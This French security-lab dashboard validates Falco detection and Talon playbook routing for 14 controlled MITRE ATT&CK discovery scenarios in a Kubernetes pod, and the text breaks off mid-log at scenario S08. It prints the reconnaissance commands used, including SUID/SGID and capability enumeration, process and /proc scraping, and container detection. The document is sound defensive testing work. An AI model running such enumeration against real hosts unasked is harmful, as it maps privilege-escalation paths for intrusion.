# Tableau de bord de l’expérience de sécurité d’exécution ## Sommaire exécutif | Mesure | Résultat | |---|---:| | Capacités Linux CALDERA cataloguées | 74 | | Techniques ATT&CK Linux uniques dans CALDERA | 47 | | Techniques dans la portée de révision du projet | 17 | | Techniques couvertes dans cette portée | 6 | | Techniques à examiner dans cette portée | 11 | | Techniques CALDERA hors de la portée actuelle | 30 | | Techniques ATT&CK du projet | 6 | | Techniques du projet aussi présentes dans CALDERA | 6/6 | | Techniques CALDERA ↔ scénarios ↔ Falco entièrement corrélées | 6/6 | | Techniques CALDERA à examiner | 11 | | Scénarios ATT&CK contrôlés exécutés | 14/14 | | Scénarios contrôlés détectés par Falco | 14/14 | | Couverture de détection du rejeu contrôlé | 100.0% | | Routages scénario → playbook validés | 14/14 (100.0%) | | Incidents Discord envoyés à l’administrateur (campagne de routage) | 0/14 | | Playbooks de réponse complète validés | 3/3 | > CALDERA est utilisé ici comme catalogue de capacités ATT&CK et comme source de validation de couverture avant déploiement. Aucun agent Sandcat n’est installé dans le pod cible et aucune capacité CALDERA n’est exécutée pendant cette phase. ## 1 — Validation de couverture ATT&CK avec CALDERA **Source du catalogue :** `ghcr.io/mitre/caldera:5.2.0` **Filtre de plateforme :** `linux` **Tactiques examinées :** `commande et contrôle, découverte, exécution` **Clé de corrélation :** identifiant de technique MITRE ATT&CK (`Txxxx` / `Txxxx.xxx`). **Portée analysée :** 17 techniques pertinentes selon les tactiques configurées. **Couvertes : 6. À examiner : 11.** Les 30 autres techniques Linux CALDERA sont hors de la portée actuelle du laboratoire et ne sont pas affichées dans les deux tableaux ci-dessous. | ID MITRE | Technique (nom officiel) | Capacités Linux CALDERA | Scénario(s) contrôlé(s) | Règle(s) de détection Falco | Couverture | |---|---|---:|---|---|---| | `T1046` | Network Service Scanning | 2 | S10, S11 | Custom T1046 Network Service Discovery | ✅ COUVERTE | | `T1057` | Process Discovery | 4 | S03, S04, S05, S06 | Custom T1057 Process Discovery | ✅ COUVERTE | | `T1059.004` | Command and Scripting Interpreter: Unix Shell | 1 | S14 | Custom T1059.004 Non Interactive Shell | ✅ COUVERTE | | `T1082` | System Information Discovery | 2 | S01, S02 | Custom Suspicious Filesystem Enumeration; Custom T1082 Enumeration Script | ✅ COUVERTE | | `T1083` | File and Directory Discovery | 3 | S07, S08, S09 | Custom Suspicious Filesystem Enumeration | ✅ COUVERTE | | `T1105` | Ingress Tool Transfer | 2 | S12, S13 | Custom T1105 Suspicious Tool Transfer | ✅ COUVERTE | **Interprétation :** une technique est **COUVERTE** lorsque le même identifiant MITRE ATT&CK existe dans le catalogue de capacités Linux de CALDERA, dans au moins un scénario contrôlé et dans au moins une vraie règle de détection Falco. Les règles auxiliaires PR10 de routage/réponse sont exclues de la couverture Falco afin d’éviter les faux appariements. ### Techniques CALDERA à examiner par l’équipe de sécurité Ces techniques sont des candidates issues des tactiques Linux configurées. Elles ne font **pas** échouer automatiquement le déploiement; leur pertinence pour ce laboratoire Kubernetes doit être évaluée par un membre de l’équipe de sécurité. | ID MITRE | Technique (nom officiel) | Tactique | Capacités CALDERA | Scénario | Falco | Révision | |---|---|---|---:|---|---|---| | `T1016` | System Network Configuration Discovery | découverte | 3 | - | - | ⚠️ À EXAMINER | | `T1018` | Remote System Discovery | découverte | 3 | - | - | ⚠️ À EXAMINER | | `T1033` | System Owner/User Discovery | découverte | 2 | - | - | ⚠️ À EXAMINER | | `T1049` | System Network Connections Discovery | découverte | 1 | - | - | ⚠️ À EXAMINER | | `T1069.001` | Permission Groups Discovery: Local Groups | découverte | 1 | - | - | ⚠️ À EXAMINER | | `T1071.001` | Application Layer Protocol: Web Protocols | commande et contrôle | 1 | - | - | ⚠️ À EXAMINER | | `T1087.001` | Account Discovery: Local Account | découverte | 1 | - | - | ⚠️ À EXAMINER | | `T1120` | Peripheral Device Discovery | découverte | 1 | - | - | ⚠️ À EXAMINER | | `T1124` | System Time Discovery | découverte | 1 | - | - | ⚠️ À EXAMINER | | `T1201` | Password Policy Discovery | découverte | 1 | - | - | ⚠️ À EXAMINER | | `T1518` | Software Discovery | découverte | 3 | - | - | ⚠️ À EXAMINER | **Exemple de corrélation :** si CALDERA contient `T1613`, le scanner cherche `T1613` dans la politique des scénarios existants et dans les tags MITRE des règles de détection Falco. Une correspondance manquante est signalée comme un écart de couverture à examiner. ## 2 — Rejeu contrôlé / détection Falco + routage Talon | # | MITRE | Scénario | Falco | Déclencheur de routage Falco | Marqueur Talon en direct | Route reçue par Talon | Playbook acheminé | Action prévue (non exécutée) | Admin avisé | |---:|---|---|---|---|---|---|---|---|---| | 1 | T1082 | Découverte des répertoires accessibles en écriture et des permissions | ✅ OUI | ✅ OUI
`PR10 Route S01 PB1` | ✅ OUI | ✅ OUI | ✅ PB1 | Collecte de preuves | ⚪ IGNORÉ | | 2 | T1082 | Énumération des privilèges et de l’hôte | ✅ OUI | ✅ OUI
`PR10 Route S02 PB1` | ✅ OUI | ✅ OUI | ✅ PB1 | Collecte de preuves | ⚪ IGNORÉ | | 3 | T1057 | Découverte des processus utilisateur et des lignes de commande | ✅ OUI | ✅ OUI
`PR10 Route S03 PB1` | ✅ OUI | ✅ OUI | ✅ PB1 | Collecte de preuves | ⚪ IGNORÉ | | 4 | T1057 | Découverte détaillée des processus système | ✅ OUI | ✅ OUI
`PR10 Route S04 PB1` | ✅ OUI | ✅ OUI | ✅ PB1 | Collecte de preuves | ⚪ IGNORÉ | | 5 | T1057 | Énumération des processus et de procfs | ✅ OUI | ✅ OUI
`PR10 Route S05 PB1` | ✅ OUI | ✅ OUI | ✅ PB1 | Collecte de preuves | ⚪ IGNORÉ | | 6 | T1057 | Découverte de la virtualisation et des processus de conteneur | ✅ OUI | ✅ OUI
`PR10 Route S06 PB1` | ✅ OUI | ✅ OUI | ✅ PB1 | Collecte de preuves | ⚪ IGNORÉ | | 7 | T1083 | Énumération récursive des répertoires et des fichiers | ✅ OUI | ✅ OUI
`PR10 Route S07 PB1` | ✅ OUI | ✅ OUI | ✅ PB1 | Collecte de preuves | ⚪ IGNORÉ | | 8 | T1083 | Recherche de fichiers nommés et inspection des métadonnées | ✅ OUI | ✅ OUI
`PR10 Route S08 PB1` | ✅ OUI | ✅ OUI | ✅ PB1 | Collecte de preuves | ⚪ IGNORÉ | | 9 | T1083 | Parcours et inspection du répertoire de travail | ✅ OUI | ✅ OUI
`PR10 Route S09 PB1` | ✅ OUI | ✅ OUI | ✅ PB1 | Collecte de preuves | ⚪ IGNORÉ | | 10 | T1046 | Identification des services réseau | ✅ OUI | ✅ OUI
`PR10 Route S10 PB1` | ✅ OUI | ✅ OUI | ✅ PB1 | Collecte de preuves | ⚪ IGNORÉ | | 11 | T1046 | Découverte de services TCP sur plusieurs ports | ✅ OUI | ✅ OUI
`PR10 Route S11 PB1` | ✅ OUI | ✅ OUI | ✅ PB1 | Collecte de preuves | ⚪ IGNORÉ | | 12 | T1105 | Transfert, inspection et exécution d’un outil avec curl | ✅ OUI | ✅ OUI
`PR10 Route S12 PB2` | ✅ OUI | ✅ OUI | ✅ PB2 | Mise en quarantaine du fichier | ⚪ IGNORÉ | | 13 | T1105 | Transfert, préparation et exécution d’un outil avec wget | ✅ OUI | ✅ OUI
`PR10 Route S13 PB2` | ✅ OUI | ✅ OUI | ✅ PB2 | Mise en quarantaine du fichier | ⚪ IGNORÉ | | 14 | T1059.004 | Préparation et exécution d’un script shell | ✅ OUI | ✅ OUI
`PR10 Route S14 PB3` | ✅ OUI | ✅ OUI | ✅ PB3 | Isolement du pod | ⚪ IGNORÉ | **Comment lire ce tableau :** il s’agit d’une campagne de **routage seulement**, et non de l’exécution réelle du confinement. Chaque scénario possède son propre label Talon inoffensif (`falco-route-s01` … `falco-route-s14`). Le marqueur en direct constitue la preuve principale du routage; les journaux texte et les `trace_id` servent de diagnostic secondaire. L’action de politique affichée est celle qui serait assignée, mais elle n’est pas exécutée ici. `Admin avisé` correspond à un véritable incident Discord produit par PB4 après la réussite du playbook de routage; cette preuve est indépendante du mécanisme Kubernetes Event intégré à Talon. Les scénarios suivent l’ordre PB1 → PB2 → PB3, avec l’attaque de classe isolement en dernier. Les vraies actions de collecte, de quarantaine et d’isolement sont démontrées séparément plus bas. ### Détails de détection | # | Règles de détection Falco observées | |---:|---| | 1 | Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom Suspicious Filesy… | | 2 | Custom T1059.004 Non Interactive Shell; Custom Suspicious Filesystem Enumeration; Drop and execute new binary in container; Custom T1057 Process Disc… | | 3 | Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container | | 4 | Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container | | 5 | Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container | | 6 | Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container | | 7 | Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path | | 8 | Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path | | 9 | Custom T1059.004 Non Interactive Shell; Custom T1046 Network Service Discovery; Drop and execute new binary in container; Packet socket created in co… | | 10 | Custom T1059.004 Non Interactive Shell; Custom T1046 Network Service Discovery; Drop and execute new binary in container; Packet socket created in co… | | 11 | Custom T1059.004 Non Interactive Shell; Drop and execute new binary in container; Custom T1082 Enumeration Script; Shell Script Executed From Writabl… | | 12 | Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious … | | 13 | Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious … | | 14 | Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1057 Process Dis… | ### Preuves de détection et de routage par scénario Chaque scénario contrôlé ci-dessous conserve la commande exacte, une preuve représentative des événements Falco, l’événement de routage dédié, la preuve de routage Talon et l’identifiant de l’incident Discord. #### S01 — Découverte des répertoires accessibles en écriture et des permissions - MITRE ATT&CK : `T1082` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom Suspicious Filesystem Enumeration; Drop and execute new binary in container - Règle de routage Falco : `PR10 Route S01 PB1` → ✅ OUI - Marqueur Talon : `falco-route-s01=true` → ✅ OUI - Playbook acheminé : `PB1 Routing Validation Playbook S01` → ✅ OUI - Incident Discord : `ROUTE-S01-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:11:11.674933114+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe parent= container=cible1 pod=cible1) || 2026-11-09T06:11:11.674933114+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe parent= container=cible1) || 2026-11-09T06:11:11.674933114+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe process=sh parent= container=cible1 pod=cible1 namespace=default) ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:11:11.674933114+0000: Warning PR10 ROUTE S01 PB1 (pod=cible1 namespace=default scenario=S01 commande=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S01) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S01.payload.json` / `.status` #### S02 — Énumération des privilèges et de l’hôte - MITRE ATT&CK : `T1082` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom Suspicious Filesystem Enumeration; Drop and execute new binary in container; Custom T1057 Process Discovery - Règle de routage Falco : `PR10 Route S02 PB1` → ✅ OUI - Marqueur Talon : `falco-route-s02=true` → ✅ OUI - Playbook acheminé : `PB1 Routing Validation Playbook S02` → ✅ OUI - Incident Discord : `ROUTE-S02-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:11:18.191508819+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S02; uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi parent= container=cible1 pod=cible1) || 2026-11-09T06:11:18.221725403+0000: Notice CUSTOM - Découverte du système de fichiers (user=root command=find /usr/bin /usr/sbin -type f ( -perm -4000 -o -perm -2000 ) -ls container=cible1 pod=cible1) || 2026-11-09T06:11:18.244972795+0000: Critical Executing binary not part of base image | proc_exe=getcap proc_sname=sh gparent= proc_exe_ino_ctime=1794203433918936480 proc_exe_ino_mtime=1783933016000000000 proc_exe_ino_ctime_duration_proc_start=1244324604169 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=getcap proc_exepath=/usr/sbin/getcap parent=sh command=getcap -r / terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:11:18.191508819+0000: Warning PR10 ROUTE S02 PB1 (pod=cible1 namespace=default scenario=S02 commande=sh -c PR10_SCENARIO=S02; uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S02) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S02.payload.json` / `.status` #### S03 — Découverte des processus utilisateur et des lignes de commande - MITRE ATT&CK : `T1057` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container - Règle de routage Falco : `PR10 Route S03 PB1` → ✅ OUI - Marqueur Talon : `falco-route-s03=true` → ✅ OUI - Playbook acheminé : `PB1 Routing Validation Playbook S03` → ✅ OUI - Incident Discord : `ROUTE-S03-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30 ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:11:25.082595355+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30 parent= container=cible1 pod=cible1) || 2026-11-09T06:11:25.090625190+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1) || 2026-11-09T06:11:25.090625190+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1250364661160 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:11:25.082595355+0000: Warning PR10 ROUTE S03 PB1 (pod=cible1 namespace=default scenario=S03 commande=sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S03) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S03.payload.json` / `.status` #### S04 — Découverte détaillée des processus système - MITRE ATT&CK : `T1057` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container - Règle de routage Falco : `PR10 Route S04 PB1` → ✅ OUI - Marqueur Talon : `falco-route-s04=true` → ✅ OUI - Playbook acheminé : `PB1 Routing Validation Playbook S04` → ✅ OUI - Incident Discord : `ROUTE-S04-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40 ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:11:31.737014172+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40 parent= container=cible1 pod=cible1) || 2026-11-09T06:11:31.738974028+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1) || 2026-11-09T06:11:31.738974028+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1257017684196 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:11:31.737014172+0000: Warning PR10 ROUTE S04 PB1 (pod=cible1 namespace=default scenario=S04 commande=sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S04) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S04.payload.json` / `.status` #### S05 — Énumération des processus et de procfs - MITRE ATT&CK : `T1057` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container - Règle de routage Falco : `PR10 Route S05 PB1` → ✅ OUI - Marqueur Talon : `falco-route-s05=true` → ✅ OUI - Playbook acheminé : `PB1 Routing Validation Playbook S05` → ✅ OUI - Incident Discord : `ROUTE-S05-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30 ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:11:38.385153442+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30 parent= container=cible1 pod=cible1) || 2026-11-09T06:11:38.391856292+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps parent=sh container=cible1) || 2026-11-09T06:11:38.391856292+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1263670554160 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:11:38.385153442+0000: Warning PR10 ROUTE S05 PB1 (pod=cible1 namespace=default scenario=S05 commande=sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S05) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S05.payload.json` / `.status` #### S06 — Découverte de la virtualisation et des processus de conteneur - MITRE ATT&CK : `T1057` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container - Règle de routage Falco : `PR10 Route S06 PB1` → ✅ OUI - Marqueur Talon : `falco-route-s06=true` → ✅ OUI - Playbook acheminé : `PB1 Routing Validation Playbook S06` → ✅ OUI - Incident Discord : `ROUTE-S06-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:11:44.963596205+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true parent= container=cible1 pod=cible1) || 2026-11-09T06:11:44.967222155+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1) || 2026-11-09T06:11:44.967222155+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1270245816496 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:11:44.963596205+0000: Warning PR10 ROUTE S06 PB1 (pod=cible1 namespace=default scenario=S06 commande=sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S06) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S06.payload.json` / `.status` #### S07 — Énumération récursive des répertoires et des fichiers - MITRE ATT&CK : `T1083` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path - Règle de routage Falco : `PR10 Route S07 PB1` → ✅ OUI - Marqueur Talon : `falco-route-s07=true` → ✅ OUI - Playbook acheminé : `PB1 Routing Validation Playbook S07` → ✅ OUI - Incident Discord : `ROUTE-S07-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40 ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:11:51.547565344+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S07; ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40 parent= container=cible1 pod=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent= container=cible1 pod=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent= container=cible1) ``` **Événement dédié Falco → Talon** ```text 2026-11-09T06:11:51.547565344+0000: Warning PR10 ROUTE S07 PB1 (pod=cible1 namespace=default scenario=S07 commande=sh -c PR10_SCENARIO=S07; ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40) ``` **Preuves enregistrées** - JSONL Falco : `experimentation/resultats/artefacts/bruts/falco-manual-cible1.jsonl` - Ligne traitée : `experimentation/resultats/artefacts/traites/manual-detection.tsv` (S07) - Charge utile / état Discord : `experimentation/resultats/artefacts/bruts/incidents/routing-S07.payload.json` / `.status` #### S08 — Recherche de fichiers nommés et inspection des métadonnées - MITRE ATT&CK : `T1083` - Exécution : **EXÉCUTÉ** - Détecté par Falco : ✅ OUI - Règles Falco observées : Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path - Règle de routage Falco : `PR10 Route S08 PB1` → ✅ OUI - Marqueur Talon : `falco-route-s08=true` → ✅ OUI - Playbook acheminé : `PB1 Routing Validation Playbook S08` → ✅ OUI - Incident Discord : `ROUTE-S08-aws-20261109-0608` → ⚪ IGNORÉ **Commande lancée** ```sh mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery ``` **Événement(s) Falco représentatif(s)** ```text 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent= container=cible1 pod=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f 